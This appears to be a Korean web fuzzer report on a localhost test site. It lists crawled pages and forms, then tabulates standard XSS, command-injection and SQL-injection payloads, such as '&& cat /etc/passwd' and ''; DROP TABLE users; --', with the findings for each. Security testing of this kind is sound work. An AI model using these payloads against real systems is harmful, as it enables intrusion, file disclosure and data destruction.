

# 웹 퍼저 리포트

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# 1. 크롤링 결과

| 크롤링한 URL                                 |
|--|
| - http://localhost:3000/productDetail/53 |
| - http://localhost:3000/postDetail/62    |
| - http://localhost:3000/postDetail/65    |
| - http://localhost:3000/productDetail/64 |
| - http://localhost:3000/postDetail/48    |
| - http://localhost:3000/productDetail/39 |
| - http://localhost:3000/productDetail/60 |
| - http://localhost:3000/products/add     |
| - http://localhost:3000/productDetail/8  |
| - http://localhost:3000/productDetail/61 |
| - http://localhost:3000/postDetail/33    |
| - http://localhost:3000/postDetail/18    |
| - http://localhost:3000/products?page=5  |
| - http://localhost:3000/productDetail/25 |
| - http://localhost:3000/productDetail/33 |
| - http://localhost:3000/productDetail/42 |
| - http://localhost:3000/postDetail/41    |
| - http://localhost:3000/productDetail/9  |
| - http://localhost:3000/postDetail/38    |
| - http://localhost:3000/productDetail/10 |
| - http://localhost:3000/postDetail/1     |
| - http://localhost:3000/posts?page=4     |
| - http://localhost:3000/postDetail/64    |
| - http://localhost:3000/productDetail/26 |

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|---|
| - <a href="http://localhost:3000/productDetail/28">http://localhost:3000/productDetail/28</a> |
| - <a href="http://localhost:3000/productDetail/68">http://localhost:3000/productDetail/68</a> |
| - <a href="http://localhost:3000/productDetail/50">http://localhost:3000/productDetail/50</a> |
| - <a href="http://localhost:3000/productDetail/20">http://localhost:3000/productDetail/20</a> |
| - <a href="http://localhost:3000/productDetail/23">http://localhost:3000/productDetail/23</a> |
| - <a href="http://localhost:3000/productDetail/14">http://localhost:3000/productDetail/14</a> |
| - <a href="http://localhost:3000/postDetail/20">http://localhost:3000/postDetail/20</a>       |
| - <a href="http://localhost:3000/postDetail/67">http://localhost:3000/postDetail/67</a>       |
| - <a href="http://localhost:3000/postDetail/34">http://localhost:3000/postDetail/34</a>       |
| - <a href="http://localhost:3000/productDetail/63">http://localhost:3000/productDetail/63</a> |
| - <a href="http://localhost:3000/productDetail/43">http://localhost:3000/productDetail/43</a> |
| - <a href="http://localhost:3000/postDetail/47">http://localhost:3000/postDetail/47</a>       |
| - <a href="http://localhost:3000/postDetail/31">http://localhost:3000/postDetail/31</a>       |
| - <a href="http://localhost:3000/postDetail/2">http://localhost:3000/postDetail/2</a>         |
| - <a href="http://localhost:3000/postDetail/6">http://localhost:3000/postDetail/6</a>         |
| - <a href="http://localhost:3000/productDetail/34">http://localhost:3000/productDetail/34</a> |
| - <a href="http://localhost:3000/productDetail/21">http://localhost:3000/productDetail/21</a> |
| - <a href="http://localhost:3000/productDetail/7">http://localhost:3000/productDetail/7</a>   |
| - <a href="http://localhost:3000/products?page=1">http://localhost:3000/products?page=1</a>   |
| - <a href="http://localhost:3000/productDetail/49">http://localhost:3000/productDetail/49</a> |
| - <a href="http://localhost:3000/postDetail/29">http://localhost:3000/postDetail/29</a>       |
| - <a href="http://localhost:3000/productDetail/48">http://localhost:3000/productDetail/48</a> |
| - <a href="http://localhost:3000/productDetail/24">http://localhost:3000/productDetail/24</a> |
| - <a href="http://localhost:3000/productDetail/40">http://localhost:3000/productDetail/40</a> |
| - <a href="http://localhost:3000/register">http://localhost:3000/register</a>                 |
| - <a href="http://localhost:3000/postDetail/52">http://localhost:3000/postDetail/52</a>       |
| - <a href="http://localhost:3000/productDetail/30">http://localhost:3000/productDetail/30</a> |

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| - <a href="http://localhost:3000/productDetail/57">http://localhost:3000/productDetail/57</a> |
| - <a href="http://localhost:3000/postDetail/23">http://localhost:3000/postDetail/23</a>       |
| - <a href="http://localhost:3000/postDetail/45">http://localhost:3000/postDetail/45</a>       |
| - <a href="http://localhost:3000/postDetail/21">http://localhost:3000/postDetail/21</a>       |
| - <a href="http://localhost:3000/posts?page=5">http://localhost:3000/posts?page=5</a>         |
| - <a href="http://localhost:3000/postDetail/11">http://localhost:3000/postDetail/11</a>       |
| - <a href="http://localhost:3000/postDetail/22">http://localhost:3000/postDetail/22</a>       |
| - <a href="http://localhost:3000/postDetail/63">http://localhost:3000/postDetail/63</a>       |
| - <a href="http://localhost:3000/productDetail/45">http://localhost:3000/productDetail/45</a> |
| - <a href="http://localhost:3000/postDetail/13">http://localhost:3000/postDetail/13</a>       |
| - <a href="http://localhost:3000/productDetail/27">http://localhost:3000/productDetail/27</a> |
| - <a href="http://localhost:3000/postDetail/35">http://localhost:3000/postDetail/35</a>       |
| - <a href="http://localhost:3000/postDetail/57">http://localhost:3000/postDetail/57</a>       |
| - <a href="http://localhost:3000/productDetail/44">http://localhost:3000/productDetail/44</a> |
| - <a href="http://localhost:3000/postDetail/53">http://localhost:3000/postDetail/53</a>       |
| - <a href="http://localhost:3000/postDetail/24">http://localhost:3000/postDetail/24</a>       |
| - <a href="http://localhost:3000/productDetail/36">http://localhost:3000/productDetail/36</a> |
| - <a href="http://localhost:3000/postDetail/5">http://localhost:3000/postDetail/5</a>         |
| - <a href="http://localhost:3000/postDetail/10">http://localhost:3000/postDetail/10</a>       |
| - <a href="http://localhost:3000/postDetail/40">http://localhost:3000/postDetail/40</a>       |
| - <a href="http://localhost:3000/postDetail/68">http://localhost:3000/postDetail/68</a>       |
| - <a href="http://localhost:3000/productDetail/2">http://localhost:3000/productDetail/2</a>   |
| - <a href="http://localhost:3000/productDetail/4">http://localhost:3000/productDetail/4</a>   |
| - <a href="http://localhost:3000/productDetail/41">http://localhost:3000/productDetail/41</a> |
| - <a href="http://localhost:3000/postDetail/49">http://localhost:3000/postDetail/49</a>       |
| - <a href="http://localhost:3000/postDetail/59">http://localhost:3000/postDetail/59</a>       |
| - <a href="http://localhost:3000/products?page=4">http://localhost:3000/products?page=4</a>   |

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| - <a href="http://localhost:3000/productDetail/13">http://localhost:3000/productDetail/13</a> |
| - <a href="http://localhost:3000/postDetail/42">http://localhost:3000/postDetail/42</a>       |
| - <a href="http://localhost:3000/productDetail/54">http://localhost:3000/productDetail/54</a> |
| - <a href="http://localhost:3000/productDetail/29">http://localhost:3000/productDetail/29</a> |
| - <a href="http://localhost:3000/productDetail/5">http://localhost:3000/productDetail/5</a>   |
| - <a href="http://localhost:3000/productDetail/19">http://localhost:3000/productDetail/19</a> |
| - <a href="http://localhost:3000/postDetail/39">http://localhost:3000/postDetail/39</a>       |
| - <a href="http://localhost:3000/productDetail/62">http://localhost:3000/productDetail/62</a> |
| - <a href="http://localhost:3000/postDetail/17">http://localhost:3000/postDetail/17</a>       |
| - <a href="http://localhost:3000/postDetail/54">http://localhost:3000/postDetail/54</a>       |
| - <a href="http://localhost:3000/postDetail/25">http://localhost:3000/postDetail/25</a>       |
| - <a href="http://localhost:3000/productDetail/66">http://localhost:3000/productDetail/66</a> |
| - <a href="http://localhost:3000/postDetail/19">http://localhost:3000/postDetail/19</a>       |
| - <a href="http://localhost:3000/postDetail/50">http://localhost:3000/postDetail/50</a>       |
| - <a href="http://localhost:3000/postDetail/56">http://localhost:3000/postDetail/56</a>       |
| - <a href="http://localhost:3000/postDetail/3">http://localhost:3000/postDetail/3</a>         |
| - <a href="http://localhost:3000/postDetail/60">http://localhost:3000/postDetail/60</a>       |
| - <a href="http://localhost:3000/productDetail/1">http://localhost:3000/productDetail/1</a>   |
| - <a href="http://localhost:3000/products?page=2">http://localhost:3000/products?page=2</a>   |
| - <a href="http://localhost:3000/postDetail/55">http://localhost:3000/postDetail/55</a>       |
| - <a href="http://localhost:3000/productDetail/35">http://localhost:3000/productDetail/35</a> |
| - <a href="http://localhost:3000/productDetail/55">http://localhost:3000/productDetail/55</a> |
| - <a href="http://localhost:3000/productDetail/38">http://localhost:3000/productDetail/38</a> |
| - <a href="http://localhost:3000/postDetail/37">http://localhost:3000/postDetail/37</a>       |
| - <a href="http://localhost:3000/productDetail/52">http://localhost:3000/productDetail/52</a> |
| - <a href="http://localhost:3000/productDetail/37">http://localhost:3000/productDetail/37</a> |
| - <a href="http://localhost:3000/postDetail/16">http://localhost:3000/postDetail/16</a>       |

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| - <a href="http://localhost:3000/productDetail/56">http://localhost:3000/productDetail/56</a> |
| - <a href="http://localhost:3000/postDetail/7">http://localhost:3000/postDetail/7</a>         |
| - <a href="http://localhost:3000/postDetail/36">http://localhost:3000/postDetail/36</a>       |
| - <a href="http://localhost:3000/postDetail/46">http://localhost:3000/postDetail/46</a>       |
| - <a href="http://localhost:3000/login">http://localhost:3000/login</a>                       |
| - <a href="http://localhost:3000/productDetail/51">http://localhost:3000/productDetail/51</a> |
| - <a href="http://localhost:3000/postDetail/8">http://localhost:3000/postDetail/8</a>         |
| - <a href="http://localhost:3000/productDetail/59">http://localhost:3000/productDetail/59</a> |
| - <a href="http://localhost:3000/productDetail/67">http://localhost:3000/productDetail/67</a> |
| - <a href="http://localhost:3000/productDetail/65">http://localhost:3000/productDetail/65</a> |
| - <a href="http://localhost:3000/posts">http://localhost:3000/posts</a>                       |
| - <a href="http://localhost:3000/productDetail/32">http://localhost:3000/productDetail/32</a> |
| - <a href="http://localhost:3000/postDetail/66">http://localhost:3000/postDetail/66</a>       |
| - <a href="http://localhost:3000/postDetail/43">http://localhost:3000/postDetail/43</a>       |
| - <a href="http://localhost:3000/productDetail/6">http://localhost:3000/productDetail/6</a>   |
| - <a href="http://localhost:3000/postDetail/44">http://localhost:3000/postDetail/44</a>       |
| - <a href="http://localhost:3000/productDetail/16">http://localhost:3000/productDetail/16</a> |
| - <a href="http://localhost:3000/productDetail/47">http://localhost:3000/productDetail/47</a> |
| - <a href="http://localhost:3000/">http://localhost:3000/</a>                                 |
| - <a href="http://localhost:3000/posts/add">http://localhost:3000/posts/add</a>               |
| - <a href="http://localhost:3000/productDetail/46">http://localhost:3000/productDetail/46</a> |
| - <a href="http://localhost:3000/productDetail/22">http://localhost:3000/productDetail/22</a> |
| - <a href="http://localhost:3000/posts?page=1">http://localhost:3000/posts?page=1</a>         |
| - <a href="http://localhost:3000/postDetail/14">http://localhost:3000/postDetail/14</a>       |
| - <a href="http://localhost:3000/productDetail/31">http://localhost:3000/productDetail/31</a> |
| - <a href="http://localhost:3000/postDetail/32">http://localhost:3000/postDetail/32</a>       |
| - <a href="http://localhost:3000/postDetail/9">http://localhost:3000/postDetail/9</a>         |

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| - <a href="http://localhost:3000/postDetail/61">http://localhost:3000/postDetail/61</a>       |
| - <a href="http://localhost:3000/productDetail/3">http://localhost:3000/productDetail/3</a>   |
| - <a href="http://localhost:3000/productDetail/11">http://localhost:3000/productDetail/11</a> |
| - <a href="http://localhost:3000/productDetail/58">http://localhost:3000/productDetail/58</a> |
| - <a href="http://localhost:3000/postDetail/4">http://localhost:3000/postDetail/4</a>         |
| - <a href="http://localhost:3000/products?page=3">http://localhost:3000/products?page=3</a>   |
| - <a href="http://localhost:3000/posts?page=3">http://localhost:3000/posts?page=3</a>         |
| - <a href="http://localhost:3000/postDetail/26">http://localhost:3000/postDetail/26</a>       |
| - <a href="http://localhost:3000/postDetail/15">http://localhost:3000/postDetail/15</a>       |
| - <a href="http://localhost:3000/products">http://localhost:3000/products</a>                 |
| - <a href="http://localhost:3000/productDetail/17">http://localhost:3000/productDetail/17</a> |
| - <a href="http://localhost:3000/posts?page=2">http://localhost:3000/posts?page=2</a>         |
| - <a href="http://localhost:3000/postDetail/30">http://localhost:3000/postDetail/30</a>       |
| - <a href="http://localhost:3000/productDetail/12">http://localhost:3000/productDetail/12</a> |
| - <a href="http://localhost:3000/productDetail/15">http://localhost:3000/productDetail/15</a> |
| - <a href="http://localhost:3000/postDetail/28">http://localhost:3000/postDetail/28</a>       |
| - <a href="http://localhost:3000/productDetail/18">http://localhost:3000/productDetail/18</a> |
| - <a href="http://localhost:3000/postDetail/58">http://localhost:3000/postDetail/58</a>       |
| - <a href="http://localhost:3000/postDetail/27">http://localhost:3000/postDetail/27</a>       |
| - <a href="http://localhost:3000/postDetail/12">http://localhost:3000/postDetail/12</a>       |
| - <a href="http://localhost:3000/postDetail/51">http://localhost:3000/postDetail/51</a>       |



## 2. 폼과 입력 필드

| URL                            | 폼 액션                                  | 메소드  | 입력 필드   |
|--------------------------------|---------------------------------------|------|---|
| http://localhost:3000/posts    | http://localhost:3000/products/search | GET  | query (type: text)                                  |
| http://localhost:3000/products | http://localhost:3000/products/search | GET  | query (type: text)                                  |
| http://localhost:3000/login    | http://localhost:3000/login           | POST | username (type: text),<br>password (type: password) |

### 3. 퍼징 시도 및 결과

-- 취약점 발견 시도 --

#### XSS

| 폼 액션                                  | 페이로드  | 결과         |
|---------------------------------------|---|------------|
| http://localhost:3000/products/search | <script>alert('XSS')</script>                   | XSS 취약점 발견 |
| http://localhost:3000/products/search | <img src=x onerror=alert('XSS')>                | XSS 취약점 발견 |
| http://localhost:3000/products/search | <svg/onload=alert('XSS')>                       | XSS 취약점 발견 |
| http://localhost:3000/products/search | <iframe src='javascript:alert("XSS")'></iframe> | XSS 취약점 발견 |
| http://localhost:3000/products/search | '"><script>alert('XSS')</script>                | XSS 취약점 발견 |
| http://localhost:3000/products/search | <script>alert('XSS')</script>                   | XSS 취약점 발견 |
| http://localhost:3000/products/search | '"><script>alert('XSS')</script>                | XSS 취약점 발견 |
| http://localhost:3000/products/search | <img src=x onerror=alert('XSS')>                | XSS 취약점 발견 |
| http://localhost:3000/products/search | <svg/onload=alert('XSS')>                       | XSS 취약점 발견 |
| http://localhost:3000/products/search | <iframe src='javascript:alert("XSS")'></iframe> | XSS 취약점 발견 |

# Command Injection

| 폼 액션                                  | 페이로드                     | 결과                          |
|---------------------------------------|--------------------------|-----------------------------|
| http://localhost:3000/products/search | ; ls                     | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | whoami                   | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | && cat /etc/passwd       | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | netstat -an              | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | ps aux                   | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | && cat /var/log/auth.log | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | ; ls                     | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | whoami                   | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | && cat /etc/passwd       | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | netstat -an              | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | ps aux                   | Command Injection<br>취약점 발견 |
| http://localhost:3000/products/search | && cat /var/log/auth.log | Command Injection<br>취약점 발견 |
| http://localhost:3000/login           | ; ls                     | Command Injection<br>취약점 발견 |
| http://localhost:3000/login           | whoami                   | Command Injection<br>취약점 발견 |
| http://localhost:3000/login           | && cat /etc/passwd       | Command Injection<br>취약점 발견 |
| http://localhost:3000/login           | && cat /var/log/auth.log | Command Injection<br>취약점 발견 |
| http://localhost:3000/login           | netstat -an              | Command Injection<br>취약점 발견 |

|                             |        |                             |
|-----------------------------|--------|-----------------------------|
| http://localhost:3000/login | ps aux | Command Injection<br>취약점 발견 |
|-----------------------------|--------|-----------------------------|

## 취약점 없는 시도

| 폼 액션                                  | 페이로드                            | 결과     |
|---------------------------------------|---------------------------------|--------|
| http://localhost:3000/products/search | ' OR '1'='1' #                  | 취약점 없음 |
| http://localhost:3000/products/search | ' OR '1'='1' /*                 | 취약점 없음 |
| http://localhost:3000/products/search | '; DROP TABLE users; --         | 취약점 없음 |
| http://localhost:3000/products/search | ' OR '1'='1' ({                 | 취약점 없음 |
| http://localhost:3000/products/search | admin' --                       | 취약점 없음 |
| http://localhost:3000/products/search | ' OR '1'='1                     | 취약점 없음 |
| http://localhost:3000/products/search | ' OR '1'='1                     | 취약점 없음 |
| http://localhost:3000/products/search | '; DROP TABLE users; --         | 취약점 없음 |
| http://localhost:3000/products/search | ' OR '1'='1' /*                 | 취약점 없음 |
| http://localhost:3000/products/search | ' OR '1'='1' ({                 | 취약점 없음 |
| http://localhost:3000/products/search | admin' --                       | 취약점 없음 |
| http://localhost:3000/products/search | ' OR '1'='1' #                  | 취약점 없음 |
| http://localhost:3000/login           | '; DROP TABLE users; --         | 취약점 없음 |
| http://localhost:3000/login           | ' OR '1'='1' ({                 | 취약점 없음 |
| http://localhost:3000/login           | ' OR '1'='1' #                  | 취약점 없음 |
| http://localhost:3000/login           | <script>alert('XSS')</script>   | 취약점 없음 |
| http://localhost:3000/login           | "><script>alert('XSS')</script> | 취약점 없음 |

|                             |   |        |
|-----------------------------|---|--------|
| http://localhost:3000/login | <img src=x onerror=alert('XSS')>                | 취약점 없음 |
| http://localhost:3000/login | <svg/onload=alert('XSS')>                       | 취약점 없음 |
| http://localhost:3000/login | <iframe src='javascript:alert("XSS")'></iframe> | 취약점 없음 |
| http://localhost:3000/login | ' OR '1'='1                                     | 취약점 없음 |
| http://localhost:3000/login | ' OR '1'='1' /*                                 | 취약점 없음 |
| http://localhost:3000/login | admin' --                                       | 취약점 없음 |